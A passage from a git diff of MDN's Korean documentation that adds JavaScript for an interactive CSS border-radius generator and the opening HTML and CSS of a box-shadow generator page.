+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+
+		this.min = min;
+		this.max = max > 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit;
+		this.sensivity = sensivity > 0 ? sensivity : 5;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+		node.className = 'ui-input-slider ui-input-slider-container';
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	}
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		if (value > slider.max) value = slider.max;
+		if (value < slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		if (send_notify !== undefined && send_notify === false) {
+			slider.input.value = value + slider.unit;
+			return;
+		}
+
+		notify.call(slider);
+	}
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	}
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	}
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	}
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new InputSlider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		getNode : getNode,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+		}
+		catch(error) {
+			console.log(error);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i = 0; i < subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i < size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function() {
+	BorderRadius.init();
+});
+
+var BorderRadius = (function BorderRadius() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	var subject;
+	var units = ['px', '%'];
+	var output = null;
+
+	var UnitSelector = function UnitSelector(topic) {
+
+		this.container = document.createElement("div");
+		this.select = document.createElement("select");
+		for (var i in units) {
+			var option = document.createElement("option");
+			option.value = i;
+			option.textContent = units[i];
+			this.select.appendChild(option);
+		}
+
+		this.container.className = 'dropdown ' + 'unit-' + topic;
+		this.container.appendChild(this.select);
+	}
+
+	UnitSelector.prototype.setValue = function setValue(value) {
+		this.salect.value = value;
+	}
+
+
+	var RadiusContainer = function RadiusContainer(node) {
+		var radius = document.createElement('div');
+		var handle = document.createElement('div');
+		var x = node.getAttribute('data-x');
+		var y = node.getAttribute('data-y');
+		var active = false;
+
+		this.id = node.id;
+		this.node = node;
+		this.radius = radius;
+		this.handle = handle;
+		this.width = 100;
+		this.height = 50;
+		this.size = 0;
+		this.rounded = false;
+
+		this.unitX = 0;
+		this.unitY = 0;
+		this.unitR = 0;
+
+		this.maxW = 100;
+		this.maxH = 100;
+		this.maxR = 100;
+
+		this.topic = y + '-' + x;
+
+		var sliderW = InputSliderManager.getNode(this.topic + '-w');
+		var sliderH = InputSliderManager.getNode(this.topic + '-h');
+		var sliderR = InputSliderManager.getNode(this.topic);
+
+		this.setUnitX(this.unitX);
+		this.setUnitY(this.unitY);
+		this.setUnitR(this.unitR);
+
+		this.updateWidth();
+		this.updateHeight();
+		this.updateRadius();
+
+		if (x === 'left')	this.resizeX =  1;
+		if (x === 'right')	this.resizeX = -1;
+		if (y === 'top')	this.resizeY =  1;
+		if (y === 'bottom')	this.resizeY = -1;
+
+		radius.className = 'radius';
+
+		var unit_selector = document.getElementById("unit-selection");
+		var unitW = new UnitSelector(this.topic + '-w');
+		var unitH = new UnitSelector(this.topic + '-h');
+		var unitR = new UnitSelector(this.topic);
+
+		unit_selector.appendChild(unitW.container);
+		unit_selector.appendChild(unitH.container);
+		unit_selector.appendChild(unitR.container);
+		node.appendChild(radius);
+		subject.appendChild(handle);
+
+		unitW.select.addEventListener('change', function(e) {
+			this.setUnitX(e.target.value | 0);
+		}.bind(this));
+
+		unitH.select.addEventListener('change', function(e) {
+			this.setUnitY(e.target.value | 0);
+		}.bind(this));
+
+		unitR.select.addEventListener('change', function(e) {
+			this.setUnitR(e.target.value | 0);
+		}.bind(this));
+
+		if (x === 'left' && y == 'top') handle.className = 'handle handle-top-left'
+		if (x === 'right' && y == 'top') handle.className = 'handle handle-top-right';
+		if (x === 'right' && y == 'bottom') handle.className = 'handle handle-bottom-right';
+		if (x === 'left' && y == 'bottom') 	handle.className = 'handle handle-bottom-left';
+
+		handle.addEventListener("mousedown", function(e) {
+			active = true;
+			this.radius.style.display = 'block';
+			PreviewMouseTracking.subscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		document.addEventListener("mouseup", function(e) {
+			this.radius.style.display = 'none';
+			if (active === true)
+				PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		InputSliderManager.subscribe(this.topic + '-w', this.setWidth.bind(this));
+		InputSliderManager.subscribe(this.topic + '-h', this.setHeight.bind(this));
+		InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));
+
+		ButtonManager.subscribe(this.topic, function(value) {
+			this.rounded = value;
+			if (value === true) {
+				unitW.container.style.display = 'none';
+				unitH.container.style.display = 'none';
+				unitR.container.style.display = 'block';
+				sliderW.style.display = 'none';
+				sliderH.style.display = 'none';
+				sliderR.style.display = 'block';
+				this.setUnitR(this.unitR);
+				this.updateRadius();
+			}
+
+			if (value === false) {
+				unitW.container.style.display = 'block';
+				unitH.container.style.display = 'block';
+				unitR.container.style.display = 'none';
+				sliderW.style.display = 'block';
+				sliderH.style.display = 'block';
+				sliderR.style.display = 'none';
+				this.setUnitX(this.unitX);
+				this.setUnitY(this.unitY);
+				this.updateWidth();
+				this.updateHeight();
+			}
+
+			this.updateBorderRadius();
+
+		}.bind(this));
+
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.updateWidth = function updateWidth() {
+		this.node.style.width = this.width + units[this.unitX];
+		var value = Math.round(this.width / 2);
+		InputSliderManager.setValue(this.topic + '-w', value, false);
+	}
+
+	RadiusContainer.prototype.updateHeight = function updateHeight() {
+		this.node.style.height = this.height + units[this.unitY];
+		var value = Math.round(this.height / 2);
+		InputSliderManager.setValue(this.topic + '-h', value, false);
+	}
+
+	RadiusContainer.prototype.updateRadius = function updateRadius() {
+		var value = Math.round(this.size / 2);
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		InputSliderManager.setValue(this.topic, value, false);
+	}
+
+	RadiusContainer.prototype.setWidth = function setWidth(value) {
+		this.radius.style.display = 'block';
+		this.width = 2 * value;
+		this.node.style.width = this.width + units[this.unitX];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setHeight = function setHeight(value) {
+		this.radius.style.display = 'block';
+		this.height = 2 * value;
+		this.node.style.height = this.height + units[this.unitY];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setRadius = function setRadius(value) {
+		this.radius.style.display = 'block';
+		this.size = 2 * value;
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setUnitX = function setUnitX(value) {
+		this.unitX = value;
+		if (this.unitX === 0) this.maxW = 2 * subject.clientWidth;
+		if (this.unitX === 1) this.maxW = 200;
+		InputSliderManager.setUnit(this.topic + '-w', units[this.unitX]);
+		InputSliderManager.setMax(this.topic + '-w', this.maxW / 2);
+	}
+
+	RadiusContainer.prototype.setUnitY = function setUnitY(value) {
+		this.unitY = value;
+		if (this.unitY === 0) this.maxH = 2 * subject.clientHeight;
+		if (this.unitY === 1) this.maxH = 200;
+		InputSliderManager.setUnit(this.topic + '-h', units[this.unitY]);
+		InputSliderManager.setMax(this.topic + '-h', this.maxH / 2);
+	}
+
+	RadiusContainer.prototype.setUnitR = function setUnitR(value) {
+		this.unitR = value;
+
+		if (this.unitR === 0)
+			this.maxR = 2 * Math.min(subject.clientHeight , subject.clientWidth);
+
+		if (this.unitR === 1)
+			this.maxR = 200;
+
+		InputSliderManager.setUnit(this.topic, units[this.unitR]);
+		InputSliderManager.setMax(this.topic, this.maxR / 2);
+	}
+
+	RadiusContainer.prototype.updateUnits = function updateUnits(unit) {
+		if (this.rounded) {
+			this.setUnitR(this.unitR);
+			return;
+		}
+
+		if (unit === 0)
+			this.setUnitX(this.unitX);
+
+		if (unit === 1)
+			this.setUnitY(this.unitY);
+	}
+
+	RadiusContainer.prototype.composeBorderRadius = function composeBorderRadius () {
+
+		if (this.rounded === true) {
+			var unit = units[this.unitR];
+			var value = Math.round(this.size / 2);
+			return value + unit;
+		}
+
+		var unitX = units[this.unitX];
+		var unitY = units[this.unitY];
+		var valueX = Math.round(this.width / 2);
+		var valueY = Math.round(this.height / 2);
+
+		if (valueX === valueY && this.unitX === this.unitY)
+			return valueX + unitX;
+
+		return valueX + unitX + ' ' + valueY + unitY;
+	}
+
+	RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius () {
+		var radius = this.composeBorderRadius();
+		var corner = 0;
+
+		if (this.topic === 'top-left') {
+			subject.style.borderTopLeftRadius = radius;
+			corner = 0;
+		}
+
+		if (this.topic === 'top-right') {
+			subject.style.borderTopRightRadius = radius;
+			corner = 1;
+		}
+
+		if (this.topic === 'bottom-right') {
+			subject.style.borderBottomRightRadius = radius;
+			corner = 2;
+		}
+
+		if (this.topic === 'bottom-left') {
+			subject.style.borderBottomLeftRadius = radius;
+			corner = 3;
+		}
+
+		Tool.updateOutput(corner, radius);
+	}
+
+	RadiusContainer.prototype.updateContainer = function updateContainer(deltaX, deltaY) {
+
+		if (this.rounded === true) {
+			this.size += this.resizeX * deltaX + this.resizeY * deltaY;
+			if (this.size < 0)	this.size = 0;
+			if (this.size > this.maxR)	this.size = this.maxR;
+			this.updateRadius();
+			this.updateBorderRadius();
+			return;
+		}
+
+		if (deltaX) {
+			this.width += this.resizeX * deltaX;
+			if (this.width < 0)	this.width = 0;
+			if (this.width > this.maxW)	this.width = this.maxW;
+			this.updateWidth();
+		}
+
+		if (deltaY) {
+			this.height += this.resizeY * deltaY;
+			if (this.height < 0) this.height = 0;
+			if (this.height > this.maxH)	this.height = this.maxH;
+			this.updateHeight();
+		}
+
+		if (deltaX || deltaY)
+			this.updateBorderRadius();
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview;
+		var preview_ui;
+		var radius_containers = [];
+		var border_width = 3;
+		var borders1 = [null, null, null, null];
+		var borders2 = [0, 0, 0, 0];
+
+		var updateUIWidth = function updateUIWidth(value) {
+			var pwidth = subject.parentElement.clientWidth;
+			var left = (pwidth - value) / 2;
+			subject.style.width = value + "px";
+
+			for (var i = 0; i < 4; i++)
+				radius_containers[i].updateUnits(0);
+		}
+
+		var updateUIHeight = function updateUIHeight(value) {
+			var pheight = subject.parentElement.clientHeight;
+			var top = (pheight - value) / 2;
+			subject.style.height = value + "px";
+			subject.style.top = top - border_width + "px";
+
+			for (var i = 0; i < 4; i++)
+				radius_containers[i].updateUnits(1);
+		}
+
+		var updatePreviewUIWidth = function updatePreviewUIWidth() {
+			var p = subject.parentElement.clientWidth;
+			var v = preview_ui.clientWidth;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.left = (p - v) / 2 + "px" ;
+		}
+
+		var updatePreviewUIHeight = function updatePreviewUIHeight() {
+			var p = subject.parentElement.clientHeight;
+			var v = preview_ui.clientHeight;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.top = (p - v) / 2 + "px" ;
+		}
+
+		var updateOutput = function updateOutput(corner, radius) {
+			var values = radius.split(" ");
+
+			borders1[corner] = values[0];
+			borders2[corner] = values[0];
+
+			if (values.length === 2)
+				borders2[corner] = values[1];
+
+			var border_1_value = borders1.join(" ");
+			var border_2_value = borders2.join(" ");
+			var border_radius = 'border-radius: ' + border_1_value;
+
+			if (border_2_value !== border_1_value)
+				border_radius += ' / ' + border_2_value;
+
+			border_radius += ';';
+			output.textContent = border_radius;
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+			subject = getElemById("subject");
+			output = getElemById("output");
+			preview_ui = getElemById("radius-ui-sliders");
+
+			var elem = document.querySelectorAll('.radius-container');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				radius_containers[i] = new RadiusContainer(elem[i]);
+
+			InputSliderManager.subscribe("width", updateUIWidth);
+			InputSliderManager.subscribe("height", updateUIHeight);
+
+			InputSliderManager.setValue("width", subject.clientWidth);
+			InputSliderManager.setValue("height", subject.clientHeight);
+		}
+
+		return {
+			init : init,
+			updateOutput : updateOutput
+		}
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		InputSliderManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+
+
+ +
{{ EmbedLiveSample('border-radius-generator', 700, 900) }}
diff --git a/files/ko/web/css/css_background_and_borders/box-shadow_generator/index.html b/files/ko/web/css/css_background_and_borders/box-shadow_generator/index.html new file mode 100644 index 0000000000..00b22833fb --- /dev/null +++ b/files/ko/web/css/css_background_and_borders/box-shadow_generator/index.html @@ -0,0 +1,2881 @@ +--- +title: Box-shadow 생성기 +slug: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator +tags: + - CSS + - Tools +translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator +--- +

이 도구를 사용해 CSS {{cssxref("box-shadow")}} 효과를 생성할 수 있습니다.

+ +
+

box-shadow generator

+ +

HTML Content

+ +
<div id="container">
+    <div class="group section">
+        <div id="layer_manager">
+            <div class="group section">
+                <div class="button" data-type="add"> </div>
+                <div class="button" data-type="move-up"> </div>
+                <div class="button" data-type="move-down"> </div>
+            </div>
+            <div id="stack_container"></div>
+        </div>
+
+        <div id="preview_zone">
+            <div id="layer_menu" class="col span_12">
+                <div class="button" id="element" data-type="subject" data-title="element"> element </div>
+                <div class="button" id="before" data-type="subject" data-title=":before">
+                    :before
+                    <span class="delete" data-type="disable"></span>
+                </div>
+                <div class="button" id="after" data-type="subject" data-title=":after">
+                    :after
+                    <span class="delete" data-type="disable"></span>
+                </div>
+                <div class="ui-checkbox" data-topic='before' data-label=":before"></div>
+                <div class="ui-checkbox" data-topic='after' data-label=":after"></div>
+            </div>
+
+            <div id="preview">
+                <div id="obj-element">
+                    <div class="content"> </div>
+                    <div id="obj-before"> </div>
+                    <div id="obj-after"> </div>
+                </div>
+            </div>
+        </div>
+    </div>
+
+    <div id="controls" class="group section">
+        <div class="wrap-left">
+            <div class="colorpicker category">
+                <div class="title"> </div>
+                <div id="colorpicker" class="group">
+                    <div id="gradient" class="gradient">
+                        <div id="gradient_picker"> </div>
+                    </div>
+                    <div id="hue" data-topic="hue" class="hue">
+                        <div id="hue_selector"> </div>
+                    </div>
+                    <div class="info">
+                        <div class="input" data-topic="hue" data-title='H:' data-action="HSV"></div>
+                        <div class="input" data-topic="saturation" data-title='S:' data-action="HSV"></div>
+                        <div class="input" data-topic="value" data-title='V:' data-action="HSV"></div>
+                    </div>
+                    <div class="alpha">
+                        <div id="alpha" data-topic="alpha">
+                            <div id="alpha_selector"> </div>
+                        </div>
+                    </div>
+                    <div class="info">
+                        <div class="input" data-topic="r" data-title='R:' data-action="RGB"></div>
+                        <div class="input" data-topic="g" data-title='G:' data-action="RGB"></div>
+                        <div class="input" data-topic="b" data-title='B:' data-action="RGB"></div>
+                    </div>
+                    <div class="preview block">
+                        <div id="output_color"> </div>
+                    </div>
+                    <div class="block info">
+                        <div class="input" data-topic="a" data-title='alpha:' data-action="alpha"></div>
+                        <div class="input" data-topic="hexa" data-title='' data-action="hexa"></div>
+                    </div>
+                </div>
+            </div>
+        </div>
+
+        <div class="wrap-right">
+
+            <div id="shadow_properties" class="category">
+                <div class="title"> Shadow properties </div>
+                <div class="group">
+                    <div class="group property">
+                        <div class="ui-slider-name"> inset </div>
+                        <div class="ui-checkbox" data-topic='inset'></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Position x </div>
+                        <div class="ui-slider-btn-set" data-topic="posX" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="posX"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="posX" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="posX" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Position y </div>
+                        <div class="ui-slider-btn-set" data-topic="posY" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="posY"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="posY" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="posY" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Blur </div>
+                        <div class="ui-slider-btn-set" data-topic="blur" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="blur"
+                            data-min="0" data-max="200" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="blur" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="blur" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Spread </div>
+                        <div class="ui-slider-btn-set" data-topic="spread" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="spread"
+                            data-min="-100"    data-max="100" data-step="1" data-value="50">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="spread" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="spread" data-unit="px"></div>
+                    </div>
+                </div>
+            </div>
+
+            <div id="element_properties" class="category">
+                <div class="title"> Class element properties </div>
+                <div class="group">
+                    <div class="group property">
+                        <div class="ui-slider-name"> border </div>
+                        <div class="ui-checkbox" data-topic='border-state' data-state="true"></div>
+                    </div>
+                    <div id="z-index" class="slidergroup">
+                        <div class="ui-slider-name"> z-index </div>
+                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="z-index"
+                            data-min="-10" data-max="10" data-step="1"></div>
+                        <div class="ui-slider-btn-set" data-topic="z-index" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="z-index"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> top </div>
+                        <div class="ui-slider-btn-set" data-topic="top" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="top"
+                            data-min="-500" data-max="500" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="top" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="top" data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> left </div>
+                        <div class="ui-slider-btn-set" data-topic="left" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="left"
+                            data-min="-300" data-max="700" data-step="1"> </div>
+                        <div class="ui-slider-btn-set" data-topic="left" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="left" data-unit="px"></div>
+                    </div>
+                    <div id="transform_rotate" class="slidergroup">
+                        <div class="ui-slider-name"> Rotate </div>
+                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="rotate"
+                            data-min="-360" data-max="360" data-step="1" data-value="0">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="rotate" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="rotate" data-unit="deg"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Width </div>
+                        <div class="ui-slider-btn-set" data-topic="width" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="width"
+                            data-min="0" data-max="1000" data-step="1" data-value="200">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="width" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="width"  data-unit="px"></div>
+                    </div>
+                    <div class="slidergroup">
+                        <div class="ui-slider-name"> Height </div>
+                        <div class="ui-slider-btn-set" data-topic="height" data-type="sub"></div>
+                        <div class="ui-slider" data-topic="height"
+                            data-min="0" data-max="400" data-step="1" data-value="200">
+                        </div>
+                        <div class="ui-slider-btn-set" data-topic="height" data-type="add"></div>
+                        <div class="ui-slider-input" data-topic="height" data-unit="px"></div>
+                    </div>
+                </div>
+            </div>
+
+            <div id="output" class="category">
+                <div id="menu" class="menu"></div>
+                <div class="title">    CSS Code </div>
+                <div class="group" style="border-top-left-radius: 0;">
+                    <div class="output" data-topic="element" data-name="element"
+                        data-prop="width height background-color position=[relative] box-shadow">
+                    </div>
+                    <div class="output" data-topic="before" data-name="element:before"
+                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
+                    </div>
+                    <div class="output" data-topic="after" data-name="element:after"
+                        data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform">
+                    </div>
+                </div>
+            </div>
+        </div>
+    </div>
+</div>
+
+ +

CSS Content

+ +
/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+/*
+ * UI Slider
+ */
+
+.slidergroup {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.slidergroup * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Slider */
+
+.ui-slider {
+	height: 10px;
+	width: 200px;
+	margin: 4px 10px;
+	display: block;
+	border: 1px solid #999;
+	border-radius: 3px;
+	background: #EEE;
+}
+
+.ui-slider:hover {
+	cursor: pointer;
+}
+
+.ui-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-slider-pointer {
+	width: 13px;
+	height: 13px;
+	background-color: #EEE;
+	border: 1px solid #2C9FC9;
+	border-radius: 3px;
+	position: relative;
+	top: -3px;
+	left: 0%;
+}
+
+.ui-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 3px;
+	color: #FFF;
+	font-weight: bold;
+	text-align: center;
+}
+
+.ui-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+.ui-slider-input > input {
+	margin: 0 10px;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 3px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*
+ * BOX SHADOW GENERATOR TOOL
+ */
+
+body {
+	max-width: 1000px;
+	height: 800px;
+	margin: 20px auto 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+}
+
+#container {
+	width: 100%;
+	padding: 2px;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+
+/* container with shadows stacks */
+#stack_container {
+	height: 400px;
+	overflow: hidden;
+	position: relative;
+	border: 1px solid #CCC;
